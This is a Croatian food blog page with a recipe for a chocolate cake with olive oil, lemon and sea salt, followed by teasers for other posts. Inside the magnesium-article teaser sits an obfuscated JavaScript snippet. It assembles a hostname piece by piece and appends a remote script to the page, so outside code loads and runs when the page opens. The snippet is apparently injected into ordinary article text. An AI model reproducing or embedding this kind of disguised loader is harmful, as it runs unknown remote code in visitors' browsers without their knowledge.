ČOKOLADNA TORTA S MASLINOVIM ULJEM, LIMUNOM I MORSKOM SOLI 🍋 🍰




Čokoladna torta s maslinovim uljem, limunom i morskom soli 




Donosimo vam recept za čokoladnu tortu s maslinovim uljem, limunom i morskom soli koji nas je osvojio: bogat i sočan čokoladni biskvit koji je iznutra mekan i gotovo tekuć, lagana i svilenkasta krema s limunom i mascarponeom, čokoladni preljev s maslinovim uljem i malo krupne morske soli umjesto trešnje na vrhu.





Čokoladna torta s maslinovim uljem, limunom i morskom soli 


Sastojci:

Čokoladni biskvit

  • 180 g tamne čokolade, 60–70 %
  • 120 ml kvalitetnog ekstra djevičanskog maslinovog ulja
  • 150 g smeđeg šećera
  • 50 g šećera
  • 4 jaja
  • 80 g glatkog brašna
  • 35 g kakaa
  • ½ čajne žličice praška za pecivo
  • ½ čajne žličice soli
  • korica 1 velikog limuna, naribana
  • 1 čajna žličica ekstrakta vanilije

Krema

  • 250 g mascarponea
  • 200 ml slatkog vrhnja
  • 60 g šećera u prahu
  • korica 1 limuna, naribana
  • 1–2 žlice limunova soka
  • 1 čajna žličica ekstrakta vanilije

Preljev s maslinovim uljem

  • 80 g tamne čokolade
  • 50 ml slatkog vrhnja
  • 2 žlice maslinovog ulja
  • 1 žličica meda
  • prstohvat krupne morske soli

Za dekoraciju

  • krupna morska sol
  • 1–2 žlice maslinovog ulja



Priprema:


  1. Pećnicu zagrijte na 170 stupnjeva. Dno kalupa obložite papirom za pečenje.
  2. Čokoladu otopite na pari ili u mikrovalnoj pećnici u kratkim intervalima. Umiješajte maslinovo ulje i ostavite nekoliko minuta da se smjesa malo ohladi.
  3. Jaja i oba šećera miksajte oko 3–4 minute, dok smjesa ne postane svijetla i pjenasta.
  4. Dodajte otopljenu čokoladu s maslinovim uljem, vaniliju i limunovu koricu.
  5. Posebno pomiješajte brašno, kakao, prašak za pecivo i sol pa ih lagano umiješajte u čokoladnu smjesu.
  6. Pecite 25–30 minuta. Sredina treba ostati malo mekana — nemojte čekati da čačkalica izađe potpuno suha.
  7. Potpuno ohladite.
  8. Za kremu kratko izmiješajte Mascarpone, šećer u prahu, limunovu koricu, limunov sok i vaniliju.
  9. Dodajte hladno slatko vrhnje i miksajte dok ne dobijete čvrstu, ali svilenkastu kremu.
  10. Biskvit prerežite na dvije kore. Na donju koru stavite svu limun-mascarpone kremu i poklopite drugom korom.
  11. Tortu stavite u hladnjak barem 1 sat.
  12. Zagrijte slatko vrhnje do pred vrenje i prelijte ga preko nasjeckane čokolade. Nakon 2 minute promiješajte do glatke smjese.
  13. Dodajte med, a zatim maslinovo ulje. Dobro promiješajte. Prelijte preko hladne torte i pustite da se malo slijeva niz rubove.
  14. Na kraju pospite krupnom morskom soli.
  15. Neposredno prije posluživanja svaki komad torte pokapajte s par kapi dobrog maslinovog ulja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više